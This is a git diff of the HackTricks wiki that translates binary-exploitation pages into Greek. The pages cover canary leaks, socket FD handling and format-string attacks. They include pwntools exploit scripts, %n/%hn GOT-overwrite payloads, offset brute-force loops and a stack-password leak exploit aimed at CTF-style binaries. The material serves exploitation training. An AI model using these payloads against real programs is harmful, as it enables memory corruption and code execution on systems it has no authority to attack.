διαρρεύσει τη διεύθυνση του puts από το GOT και ένα ROP gadget για να καλέσει το `system('/bin/sh')` - [**https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html**](https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html) - - 32 bit, ARM, no relro, canary, nx, no pie. Overflow with a call to puts on it to leak the canary + ret2lib calling `system` with a ROP chain to pop r0 (arg `/bin/sh`) and pc (address of system) +- 32 bit, ARM, χωρίς relro, canary, nx, χωρίς pie. Υπερχείλιση με μια κλήση στο puts για να διαρρεύσει το canary + ret2lib καλώντας το `system` με μια αλυσίδα ROP για να pop r0 (arg `/bin/sh`) και pc (διεύθυνση του system) -## Arbitrary Read +## Αυθαίρετη Ανάγνωση -With an **arbitrary read** like the one provided by format **strings** it might be possible to leak the canary. Check this example: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) and you can read about abusing format strings to read arbitrary memory addresses in: +Με μια **αυθαίρετη ανάγνωση** όπως αυτή που παρέχεται από τις **μορφές** **strings** μπορεί να είναι δυνατό να διαρρεύσει το canary. Ελέγξτε αυτό το παράδειγμα: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) και μπορείτε να διαβάσετε για την κακή χρήση των μορφών strings για να διαβάσετε αυθαίρετες διευθύνσεις μνήμης στο: {{#ref}} ../../format-strings/ {{#endref}} - [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html) - - This challenge abuses in a very simple way a format string to read the canary from the stack +- Αυτή η πρόκληση εκμεταλλεύεται με πολύ απλό τρόπο μια μορφή string για να διαβάσει το canary από το stack {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-exploiting-problems.md b/src/binary-exploitation/common-exploiting-problems.md index 1aaf06372..90f387bfb 100644 --- a/src/binary-exploitation/common-exploiting-problems.md +++ b/src/binary-exploitation/common-exploiting-problems.md @@ -1,15 +1,14 @@ -# Common Exploiting Problems +# Κοινά Προβλήματα Εκμετάλλευσης {{#include ../banners/hacktricks-training.md}} -## FDs in Remote Exploitation +## FDs σε Απομακρυσμένη Εκμετάλλευση -When sending an exploit to a remote server that calls **`system('/bin/sh')`** for example, this will be executed in the server process ofc, and `/bin/sh` will expect input from stdin (FD: `0`) and will print the output in stdout and stderr (FDs `1` and `2`). So the attacker won't be able to interact with the shell. +Όταν στέλνετε μια εκμετάλλευση σε έναν απομακρυσμένο διακομιστή που καλεί **`system('/bin/sh')`** για παράδειγμα, αυτό θα εκτελείται στη διαδικασία του διακομιστή φυσικά, και το `/bin/sh` θα περιμένει είσοδο από το stdin (FD: `0`) και θα εκτυπώνει την έξοδο στο stdout και stderr (FDs `1` και `2`). Έτσι, ο επιτιθέμενος δεν θα μπορεί να αλληλεπιδράσει με το shell. -A way to fix this is to suppose that when the server started it created the **FD number `3`** (for listening) and that then, your connection is going to be in the **FD number `4`**. Therefore, it's possible to use the syscall **`dup2`** to duplicate the stdin (FD 0) and the stdout (FD 1) in the FD 4 (the one of the connection of the attacker) so it'll make feasible to contact the shell once it's executed. - -[**Exploit example from here**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit): +Ένας τρόπος για να διορθωθεί αυτό είναι να υποθέσουμε ότι όταν ο διακομιστής ξεκίνησε δημιούργησε το **FD αριθμό `3`** (για ακρόαση) και ότι στη συνέχεια, η σύνδεσή σας θα είναι στο **FD αριθμό `4`**. Επομένως, είναι δυνατόν να χρησιμοποιήσετε την κλήση συστήματος **`dup2`** για να αντιγράψετε το stdin (FD 0) και το stdout (FD 1) στο FD 4 (αυτό της σύνδεσης του επιτιθέμενου) έτσι ώστε να καταστεί εφικτή η επαφή με το shell μόλις εκτελεστεί. +[**Παράδειγμα εκμετάλλευσης από εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit): ```python from pwn import * @@ -26,13 +25,12 @@ p.sendline(rop.chain()) p.recvuntil('Thanks!\x00') p.interactive() ``` - ## Socat & pty -Note that socat already transfers **`stdin`** and **`stdout`** to the socket. However, the `pty` mode **include DELETE characters**. So, if you send a `\x7f` ( `DELETE` -)it will **delete the previous character** of your exploit. +Σημειώστε ότι το socat ήδη μεταφέρει **`stdin`** και **`stdout`** στο socket. Ωστόσο, η λειτουργία `pty` **περιλαμβάνει χαρακτήρες DELETE**. Έτσι, αν στείλετε ένα `\x7f` ( `DELETE` -) θα **διαγράψει τον προηγούμενο χαρακτήρα** της εκμετάλλευσής σας. -In order to bypass this the **escape character `\x16` must be prepended to any `\x7f` sent.** +Για να παρακαμφθεί αυτό, το **χαρακτήρα διαφυγής `\x16` πρέπει να προστεθεί πριν από οποιοδήποτε `\x7f` σταλεί.** -**Here you can** [**find an example of this behaviour**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.** +**Εδώ μπορείτε να** [**βρείτε ένα παράδειγμα αυτής της συμπεριφοράς**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.** {{#include ../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/format-strings/README.md b/src/binary-exploitation/format-strings/README.md index 3d7bfa018..0174dd817 100644 --- a/src/binary-exploitation/format-strings/README.md +++ b/src/binary-exploitation/format-strings/README.md @@ -2,22 +2,16 @@ {{#include ../../banners/hacktricks-training.md}} -
- -If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). - -{% embed url="https://www.stmcyber.com/careers" %} ## Basic Information -In C **`printf`** is a function that can be used to **print** some string. The **first parameter** this function expects is the **raw text with the formatters**. The **following parameters** expected are the **values** to **substitute** the **formatters** from the raw text. +Στην C **`printf`** είναι μια συνάρτηση που μπορεί να χρησιμοποιηθεί για να **εκτυπώσει** κάποιο κείμενο. Η **πρώτη παράμετρος** που αναμένει αυτή η συνάρτηση είναι το **ακατέργαστο κείμενο με τους μορφοποιητές**. Οι **επόμενες παράμετροι** που αναμένονται είναι οι **τιμές** για να **αντικαταστήσουν** τους **μορφοποιητές** από το ακατέργαστο κείμενο. -Other vulnerable functions are **`sprintf()`** and **`fprintf()`**. +Άλλες ευάλωτες συναρτήσεις είναι οι **`sprintf()`** και **`fprintf()`**. -The vulnerability appears when an **attacker text is used as the first argument** to this function. The attacker will be able to craft a **special input abusing** the **printf format** string capabilities to read and **write any data in any address (readable/writable)**. Being able this way to **execute arbitrary code**. +Η ευπάθεια εμφανίζεται όταν ένα **κείμενο επιτιθέμενου χρησιμοποιείται ως η πρώτη παράμετρος** σε αυτή τη συνάρτηση. Ο επιτιθέμενος θα είναι σε θέση να δημιουργήσει μια **ειδική είσοδο εκμεταλλευόμενος** τις δυνατότητες της **μορφής printf** για να διαβάσει και να **γράψει οποιαδήποτε δεδομένα σε οποιαδήποτε διεύθυνση (αναγνώσιμη/γραπτή)**. Έτσι θα μπορεί να **εκτελέσει αυθαίρετο κώδικα**. #### Formatters: - ```bash %08x —> 8 hex bytes %d —> Entire @@ -28,72 +22,58 @@ The vulnerability appears when an **attacker text is used as the first argument* %hn —> Occupies 2 bytes instead of 4 $X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3 ``` +**Παραδείγματα:** -**Examples:** - -- Vulnerable example: - +- Ευάλωτο παράδειγμα: ```c char buffer[30]; gets(buffer); // Dangerous: takes user input without restrictions. printf(buffer); // If buffer contains "%x", it reads from the stack. ``` - -- Normal Use: - +- Κανονική Χρήση: ```c int value = 1205; printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5 ``` - -- With Missing Arguments: - +- Με Ελλείποντες Παραμέτρους: ```c printf("%x %x %x", value); // Unexpected output: reads random values from the stack. ``` - -- fprintf vulnerable: - +- fprintf ευάλωτο: ```c #include int main(int argc, char *argv[]) { - char *user_input; - user_input = argv[1]; - FILE *output_file = fopen("output.txt", "w"); - fprintf(output_file, user_input); // The user input can include formatters! - fclose(output_file); - return 0; +char *user_input; +user_input = argv[1]; +FILE *output_file = fopen("output.txt", "w"); +fprintf(output_file, user_input); // The user input can include formatters! +fclose(output_file); +return 0; } ``` +### **Πρόσβαση σε Δείκτες** -### **Accessing Pointers** - -The format **`%$x`**, where `n` is a number, allows to indicate to printf to select the n parameter (from the stack). So if you want to read the 4th param from the stack using printf you could do: - +Η μορφή **`%$x`**, όπου `n` είναι ένας αριθμός, επιτρέπει να υποδείξετε στο printf να επιλέξει την n παράμετρο (από τη στοίβα). Έτσι, αν θέλετε να διαβάσετε την 4η παράμετρο από τη στοίβα χρησιμοποιώντας το printf, μπορείτε να κάνετε: ```c printf("%x %x %x %x") ``` +και θα διάβαζες από την πρώτη έως την τέταρτη παράμετρο. -and you would read from the first to the forth param. - -Or you could do: - +Ή θα μπορούσες να κάνεις: ```c printf("%4$x") ``` +και διαβάστε απευθείας το τέταρτο. -and read directly the forth. - -Notice that the attacker controls the `printf` **parameter, which basically means that** his input is going to be in the stack when `printf` is called, which means that he could write specific memory addresses in the stack. +Σημειώστε ότι ο επιτιθέμενος ελέγχει την παράμετρο `printf`, **που σημαίνει ότι** η είσοδός του θα είναι στη στοίβα όταν καλείται το `printf`, που σημαίνει ότι θα μπορούσε να γράψει συγκεκριμένες διευθύνσεις μνήμης στη στοίβα. > [!CAUTION] -> An attacker controlling this input, will be able to **add arbitrary address in the stack and make `printf` access them**. In the next section it will be explained how to use this behaviour. +> Ένας επιτιθέμενος που ελέγχει αυτή την είσοδο, θα είναι σε θέση να **προσθέσει αυθαίρετες διευθύνσεις στη στοίβα και να κάνει το `printf` να τις προσπελάσει**. Στην επόμενη ενότητα θα εξηγηθεί πώς να χρησιμοποιήσετε αυτή τη συμπεριφορά. -## **Arbitrary Read** - -It's possible to use the formatter **`%n$s`** to make **`printf`** get the **address** situated in the **n position**, following it and **print it as if it was a string** (print until a 0x00 is found). So if the base address of the binary is **`0x8048000`**, and we know that the user input starts in the 4th position in the stack, it's possible to print the starting of the binary with: +## **Αυθαίρετη Ανάγνωση** +Είναι δυνατόν να χρησιμοποιήσετε τον μορφοποιητή **`%n$s`** για να κάνετε το **`printf`** να αποκτήσει τη **διεύθυνση** που βρίσκεται στη **n θέση**, ακολουθώντας την και **να την εκτυπώσει σαν να ήταν μια συμβολοσειρά** (εκτύπωση μέχρι να βρεθεί ένα 0x00). Έτσι, αν η βασική διεύθυνση του δυαδικού είναι **`0x8048000`**, και γνωρίζουμε ότι η είσοδος του χρήστη ξεκινά στη 4η θέση στη στοίβα, είναι δυνατόν να εκτυπωθεί η αρχή του δυαδικού με: ```python from pwn import * @@ -106,18 +86,16 @@ payload += p32(0x8048000) #6th param p.sendline(payload) log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||' ``` - > [!CAUTION] -> Note that you cannot put the address 0x8048000 at the beginning of the input because the string will be cat in 0x00 at the end of that address. +> Σημειώστε ότι δεν μπορείτε να βάλετε τη διεύθυνση 0x8048000 στην αρχή της εισόδου γιατί η συμβολοσειρά θα κοπεί στο 0x00 στο τέλος αυτής της διεύθυνσης. -### Find offset +### Βρείτε την απόσταση -To find the offset to your input you could send 4 or 8 bytes (`0x41414141`) followed by **`%1$x`** and **increase** the value till retrieve the `A's`. +Για να βρείτε την απόσταση στην είσοδό σας, μπορείτε να στείλετε 4 ή 8 bytes (`0x41414141`) ακολουθούμενα από **`%1$x`** και **να αυξήσετε** την τιμή μέχρι να ανακτήσετε τα `A's`.
Brute Force printf offset - ```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak @@ -125,88 +103,82 @@ from pwn import * # Iterate over a range of integers for i in range(10): - # Construct a payload that includes the current integer as offset - payload = f"AAAA%{i}$x".encode() +# Construct a payload that includes the current integer as offset +payload = f"AAAA%{i}$x".encode() - # Start a new process of the "chall" binary - p = process("./chall") +# Start a new process of the "chall" binary +p = process("./chall") - # Send the payload to the process - p.sendline(payload) +# Send the payload to the process +p.sendline(payload) - # Read and store the output of the process - output = p.clean() +# Read and store the output of the process +output = p.clean() - # Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output - if b"41414141" in output: - # If the string is found, log the success message and break out of the loop - log.success(f"User input is at offset : {i}") - break +# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output +if b"41414141" in output: +# If the string is found, log the success message and break out of the loop +log.success(f"User input is at offset : {i}") +break - # Close the process - p.close() +# Close the process +p.close() ``` -
-### How useful +### Πόσο χρήσιμο -Arbitrary reads can be useful to: +Οι αυθαίρετες αναγνώσεις μπορούν να είναι χρήσιμες για: -- **Dump** the **binary** from memory -- **Access specific parts of memory where sensitive** **info** is stored (like canaries, encryption keys or custom passwords like in this [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) +- **Dump** το **binary** από τη μνήμη +- **Πρόσβαση σε συγκεκριμένα μέρη της μνήμης όπου αποθηκεύεται ευαίσθητη** **πληροφορία** (όπως canaries, κλειδιά κρυπτογράφησης ή προσαρμοσμένους κωδικούς πρόσβασης όπως σε αυτήν την [**CTF πρόκληση**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) -## **Arbitrary Write** +## **Αυθαίρετη Εγγραφή** -The formatter **`%$n`** **writes** the **number of written bytes** in the **indicated address** in the \ param in the stack. If an attacker can write as many char as he will with printf, he is going to be able to make **`%$n`** write an arbitrary number in an arbitrary address. - -Fortunately, to write the number 9999, it's not needed to add 9999 "A"s to the input, in order to so so it's possible to use the formatter **`%.%$n`** to write the number **``** in the **address pointed by the `num` position**. +Ο μορφοποιητής **`%$n`** **γράφει** τον **αριθμό των γραμμένων byte** στη **δεικνυόμενη διεύθυνση** στην παράμετρο \ στο stack. Αν ένας επιτιθέμενος μπορεί να γράψει όσους χαρακτήρες θέλει με το printf, θα είναι σε θέση να κάνει **`%$n`** να γράψει έναν αυθαίρετο αριθμό σε μια αυθαίρετη διεύθυνση. +Ευτυχώς, για να γράψει τον αριθμό 9999, δεν χρειάζεται να προσθέσει 9999 "A"s στην είσοδο, έτσι ώστε να είναι δυνατό να χρησιμοποιήσει τον μορφοποιητή **`%.%$n`** για να γράψει τον αριθμό **``** στη **διεύθυνση που υποδεικνύεται από τη θέση `num`**. ```bash AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA.%500\$08x —> Param at offset 500 ``` +Ωστόσο, σημειώστε ότι συνήθως για να γράψετε μια διεύθυνση όπως `0x08049724` (η οποία είναι ένας ΜΕΓΑΛΟΣ αριθμός για να γραφτεί ταυτόχρονα), **χρησιμοποιείται το `$hn`** αντί για το `$n`. Αυτό επιτρέπει να **γραφούν μόνο 2 Bytes**. Επομένως, αυτή η λειτουργία εκτελείται δύο φορές, μία για τα υψηλότερα 2B της διεύθυνσης και άλλη μία για τα χαμηλότερα. -However, note that usually in order to write an address such as `0x08049724` (which is a HUGE number to write at once), **it's used `$hn`** instead of `$n`. This allows to **only write 2 Bytes**. Therefore this operation is done twice, one for the highest 2B of the address and another time for the lowest ones. +Επομένως, αυτή η ευπάθεια επιτρέπει να **γραφεί οτιδήποτε σε οποιαδήποτε διεύθυνση (τυχαία εγγραφή).** -Therefore, this vulnerability allows to **write anything in any address (arbitrary write).** - -In this example, the goal is going to be to **overwrite** the **address** of a **function** in the **GOT** table that is going to be called later. Although this could abuse other arbitrary write to exec techniques: +Σε αυτό το παράδειγμα, ο στόχος είναι να **επικαλυφθεί** η **διεύθυνση** μιας **λειτουργίας** στον πίνακα **GOT** που θα κληθεί αργότερα. Αν και αυτό θα μπορούσε να εκμεταλλευτεί άλλες τεχνικές τυχαίας εγγραφής για εκτέλεση: {{#ref}} ../arbitrary-write-2-exec/ {{#endref}} -We are going to **overwrite** a **function** that **receives** its **arguments** from the **user** and **point** it to the **`system`** **function**.\ -As mentioned, to write the address, usually 2 steps are needed: You **first writes 2Bytes** of the address and then the other 2. To do so **`$hn`** is used. +Θα **επικαλυφθεί** μια **λειτουργία** που **λαμβάνει** τα **ορίσματά** της από τον **χρήστη** και θα **δείξει** τη **λειτουργία** **`system`**.\ +Όπως αναφέρθηκε, για να γραφτεί η διεύθυνση, συνήθως απαιτούνται 2 βήματα: Πρώτα **γράφονται 2Bytes** της διεύθυνσης και στη συνέχεια τα άλλα 2. Για να το κάνετε αυτό, χρησιμοποιείται το **`$hn`**. -- **HOB** is called to the 2 higher bytes of the address -- **LOB** is called to the 2 lower bytes of the address +- **HOB** καλείται για τα 2 υψηλότερα bytes της διεύθυνσης +- **LOB** καλείται για τα 2 χαμηλότερα bytes της διεύθυνσης -Then, because of how format string works you need to **write first the smallest** of \[HOB, LOB] and then the other one. +Στη συνέχεια, λόγω του πώς λειτουργεί η μορφή της συμβολοσειράς, πρέπει να **γραφεί πρώτα το μικρότερο** από \[HOB, LOB] και στη συνέχεια το άλλο. -If HOB < LOB\ +Αν HOB < LOB\ `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` -If HOB > LOB\ +Αν HOB > LOB\ `[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]` HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB - ```bash python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"' ``` - ### Pwntools Template -You can find a **template** to prepare a exploit for this kind of vulnerability in: +Μπορείτε να βρείτε ένα **template** για να προετοιμάσετε μια εκμετάλλευση για αυτόν τον τύπο ευπάθειας στο: {{#ref}} format-strings-template.md {{#endref}} -Or this basic example from [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite): - +Ή αυτό το βασικό παράδειγμα από [**εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite): ```python from pwn import * @@ -225,10 +197,9 @@ p.sendline('/bin/sh') p.interactive() ``` - ## Format Strings to BOF -It's possible to abuse the write actions of a format string vulnerability to **write in addresses of the stack** and exploit a **buffer overflow** type of vulnerability. +Είναι δυνατόν να καταχραστείτε τις ενέργειες εγγραφής μιας ευπάθειας μορφής συμβολοσειράς για να **γράψετε σε διευθύνσεις της στοίβας** και να εκμεταλλευτείτε μια ευπάθεια τύπου **buffer overflow**. ## Other Examples & References @@ -236,16 +207,10 @@ It's possible to abuse the write actions of a format string vulnerability to **w - [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4) - [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak) - [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html) - - 32 bit, no relro, no canary, nx, no pie, basic use of format strings to leak the flag from the stack (no need to alter the execution flow) +- 32 bit, no relro, no canary, nx, no pie, βασική χρήση μορφών συμβολοσειρών για να διαρρεύσει η σημαία από τη στοίβα (δεν χρειάζεται να αλλάξετε τη ροή εκτέλεσης) - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) - - 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win) +- 32 bit, relro, no canary, nx, no pie, μορφή συμβολοσειράς για να αντικαταστήσετε τη διεύθυνση `fflush` με τη συνάρτηση win (ret2win) - [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html) - - 32 bit, relro, no canary, nx, no pie, format string to write an address inside main in `.fini_array` (so the flow loops back 1 more time) and write the address to `system` in the GOT table pointing to `strlen`. When the flow goes back to main, `strlen` is executed with user input and pointing to `system`, it will execute the passed commands. - -
- -If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). - -{% embed url="https://www.stmcyber.com/careers" %} +- 32 bit, relro, no canary, nx, no pie, μορφή συμβολοσειράς για να γράψετε μια διεύθυνση μέσα στο main στο `.fini_array` (έτσι ώστε η ροή να επαναληφθεί 1 φορά ακόμα) και να γράψετε τη διεύθυνση στο `system` στον πίνακα GOT που δείχνει στο `strlen`. Όταν η ροή επιστρέψει στο main, η `strlen` εκτελείται με είσοδο χρήστη και δείχνει στο `system`, θα εκτελέσει τις εντολές που έχουν περαστεί. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md b/src/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md index 0665b14a1..b40e21ace 100644 --- a/src/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md +++ b/src/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md @@ -2,31 +2,26 @@ {{#include ../../banners/hacktricks-training.md}} -## Read Binary Start - -### Code +## Ανάγνωση Δυαδικών Αρχείων - Έναρξη +### Κώδικας ```c #include int main(void) { - char buffer[30]; +char buffer[30]; - fgets(buffer, sizeof(buffer), stdin); +fgets(buffer, sizeof(buffer), stdin); - printf(buffer); - return 0; +printf(buffer); +return 0; } ``` - -Compile it with: - +Συγκεντρώστε το με: ```python clang -o fs-read fs-read.c -Wno-format-security -no-pie ``` - -### Exploit - +### Εκμετάλλευση ```python from pwn import * @@ -38,16 +33,14 @@ payload += p64(0x00400000) p.sendline(payload) log.info(p.clean()) ``` - -- The **offset is 11** because setting several As and **brute-forcing** with a loop offsets from 0 to 50 found that at offset 11 and with 5 extra chars (pipes `|` in our case), it's possible to control a full address. - - I used **`%11$p`** with padding until I so that the address was all 0x4141414141414141 -- The **format string payload is BEFORE the address** because the **printf stops reading at a null byte**, so if we send the address and then the format string, the printf will never reach the format string as a null byte will be found before -- The address selected is 0x00400000 because it's where the binary starts (no PIE) +- Ο **offset είναι 11** επειδή η ρύθμιση αρκετών Α και η **brute-forcing** με έναν βρόχο offsets από 0 έως 50 βρήκε ότι στον offset 11 και με 5 επιπλέον χαρακτήρες (pipes `|` στην περίπτωσή μας), είναι δυνατόν να ελέγξουμε μια πλήρη διεύθυνση. +- Χρησιμοποίησα **`%11$p`** με padding μέχρι ώστε η διεύθυνση να είναι όλη 0x4141414141414141 +- Το **format string payload είναι ΠΡΙΝ τη διεύθυνση** επειδή η **printf σταματά να διαβάζει σε ένα null byte**, οπότε αν στείλουμε τη διεύθυνση και μετά το format string, η printf δεν θα φτάσει ποτέ στο format string καθώς θα βρεθεί ένα null byte πριν +- Η επιλεγμένη διεύθυνση είναι 0x00400000 επειδή είναι εκεί που ξεκινά το binary (χωρίς PIE)
-## Read passwords - +## Διαβάστε κωδικούς πρόσβασης ```c #include #include @@ -55,111 +48,103 @@ log.info(p.clean()) char bss_password[20] = "hardcodedPassBSS"; // Password in BSS int main() { - char stack_password[20] = "secretStackPass"; // Password in stack - char input1[20], input2[20]; +char stack_password[20] = "secretStackPass"; // Password in stack +char input1[20], input2[20]; - printf("Enter first password: "); - scanf("%19s", input1); +printf("Enter first password: "); +scanf("%19s", input1); - printf("Enter second password: "); - scanf("%19s", input2); +printf("Enter second password: "); +scanf("%19s", input2); - // Vulnerable printf - printf(input1); - printf("\n"); +// Vulnerable printf +printf(input1); +printf("\n"); - // Check both passwords - if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) { - printf("Access Granted.\n"); - } else { - printf("Access Denied.\n"); - } +// Check both passwords +if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) { +printf("Access Granted.\n"); +} else { +printf("Access Denied.\n"); +} - return 0; +return 0; } ``` - -Compile it with: - +Συγκεντρώστε το με: ```bash clang -o fs-read fs-read.c -Wno-format-security ``` +### Ανάγνωση από τη στοίβα -### Read from stack - -The **`stack_password`** will be stored in the stack because it's a local variable, so just abusing printf to show the content of the stack is enough. This is an exploit to BF the first 100 positions to leak the passwords form the stack: - +Το **`stack_password`** θα αποθηκευτεί στη στοίβα επειδή είναι μια τοπική μεταβλητή, οπότε απλά η κατάχρηση του printf για να δείξει το περιεχόμενο της στοίβας είναι αρκετή. Αυτό είναι ένα exploit για να BF τις πρώτες 100 θέσεις για να διαρρεύσουν οι κωδικοί πρόσβασης από τη στοίβα: ```python from pwn import * for i in range(100): - print(f"Try: {i}") - payload = f"%{i}$s\na".encode() - p = process("./fs-read") - p.sendline(payload) - output = p.clean() - print(output) - p.close() +print(f"Try: {i}") +payload = f"%{i}$s\na".encode() +p = process("./fs-read") +p.sendline(payload) +output = p.clean() +print(output) +p.close() ``` - -In the image it's possible to see that we can leak the password from the stack in the `10th` position: +Στην εικόνα είναι δυνατόν να δούμε ότι μπορούμε να διαρρεύσουμε τον κωδικό πρόσβασης από τη στοίβα στην `10η` θέση:
-### Read data +### Ανάγνωση δεδομένων -Running the same exploit but with `%p` instead of `%s` it's possible to leak a heap address from the stack at `%25$p`. Moreover, comparing the leaked address (`0xaaaab7030894`) with the position of the password in memory in that process we can obtain the addresses difference: +Εκτελώντας την ίδια εκμετάλλευση αλλά με `%p` αντί για `%s` είναι δυνατόν να διαρρεύσουμε μια διεύθυνση σωρού από τη στοίβα στο `%25$p`. Επιπλέον, συγκρίνοντας τη διαρρεύσουσα διεύθυνση (`0xaaaab7030894`) με τη θέση του κωδικού πρόσβασης στη μνήμη σε αυτή τη διαδικασία μπορούμε να αποκτήσουμε τη διαφορά διευθύνσεων:
-Now it's time to find how to control 1 address in the stack to access it from the second format string vulnerability: - +Τώρα είναι η ώρα να βρούμε πώς να ελέγξουμε 1 διεύθυνση στη στοίβα για να την προσπελάσουμε από τη δεύτερη ευπάθεια μορφής. ```python from pwn import * def leak_heap(p): - p.sendlineafter(b"first password:", b"%5$p") - p.recvline() - response = p.recvline().strip()[2:] #Remove new line and "0x" prefix - return int(response, 16) +p.sendlineafter(b"first password:", b"%5$p") +p.recvline() +response = p.recvline().strip()[2:] #Remove new line and "0x" prefix +return int(response, 16) for i in range(30): - p = process("./fs-read") +p = process("./fs-read") - heap_leak_addr = leak_heap(p) - print(f"Leaked heap: {hex(heap_leak_addr)}") +heap_leak_addr = leak_heap(p) +print(f"Leaked heap: {hex(heap_leak_addr)}") - password_addr = heap_leak_addr - 0x126a +password_addr = heap_leak_addr - 0x126a - print(f"Try: {i}") - payload = f"%{i}$p|||".encode() - payload += b"AAAAAAAA" +print(f"Try: {i}") +payload = f"%{i}$p|||".encode() +payload += b"AAAAAAAA" - p.sendline(payload) - output = p.clean() - print(output.decode("utf-8")) - p.close() +p.sendline(payload) +output = p.clean() +print(output.decode("utf-8")) +p.close() ``` - -And it's possible to see that in the **try 14** with the used passing we can control an address: +Και είναι δυνατόν να δούμε ότι στο **try 14** με την χρησιμοποιούμενη παράμετρο μπορούμε να ελέγξουμε μια διεύθυνση:
### Exploit - ```python from pwn import * p = process("./fs-read") def leak_heap(p): - # At offset 25 there is a heap leak - p.sendlineafter(b"first password:", b"%25$p") - p.recvline() - response = p.recvline().strip()[2:] #Remove new line and "0x" prefix - return int(response, 16) +# At offset 25 there is a heap leak +p.sendlineafter(b"first password:", b"%25$p") +p.recvline() +response = p.recvline().strip()[2:] #Remove new line and "0x" prefix +return int(response, 16) heap_leak_addr = leak_heap(p) print(f"Leaked heap: {hex(heap_leak_addr)}") @@ -178,7 +163,6 @@ output = p.clean() print(output) p.close() ``` -
{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/format-strings/format-strings-template.md b/src/binary-exploitation/format-strings/format-strings-template.md index 71e1d4624..5eee4c749 100644 --- a/src/binary-exploitation/format-strings/format-strings-template.md +++ b/src/binary-exploitation/format-strings/format-strings-template.md @@ -1,7 +1,6 @@ -# Format Strings Template +# Πρότυπο Μορφών {{#include ../../banners/hacktricks-training.md}} - ```python from pwn import * from time import sleep @@ -36,23 +35,23 @@ print(" ====================== ") def connect_binary(): - global P, ELF_LOADED, ROP_LOADED +global P, ELF_LOADED, ROP_LOADED - if LOCAL: - P = process(LOCAL_BIN) # start the vuln binary - ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary - ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets +if LOCAL: +P = process(LOCAL_BIN) # start the vuln binary +ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary +ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets - elif REMOTETTCP: - P = remote('10.10.10.10',1338) # start the vuln binary - ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary - ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets +elif REMOTETTCP: +P = remote('10.10.10.10',1338) # start the vuln binary +ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary +ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets - elif REMOTESSH: - ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) - P = ssh_shell.process(REMOTE_BIN) # start the vuln binary - ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary - ROP_LOADED = ROP(elf)# Find ROP gadgets +elif REMOTESSH: +ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) +P = ssh_shell.process(REMOTE_BIN) # start the vuln binary +ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary +ROP_LOADED = ROP(elf)# Find ROP gadgets ####################################### @@ -60,39 +59,39 @@ def connect_binary(): ####################################### def send_payload(payload): - payload = PREFIX_PAYLOAD + payload + 